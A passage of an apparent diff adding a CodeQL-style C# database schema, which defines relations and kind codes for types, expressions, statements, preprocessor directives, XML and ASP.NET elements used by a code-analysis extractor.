+ string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: 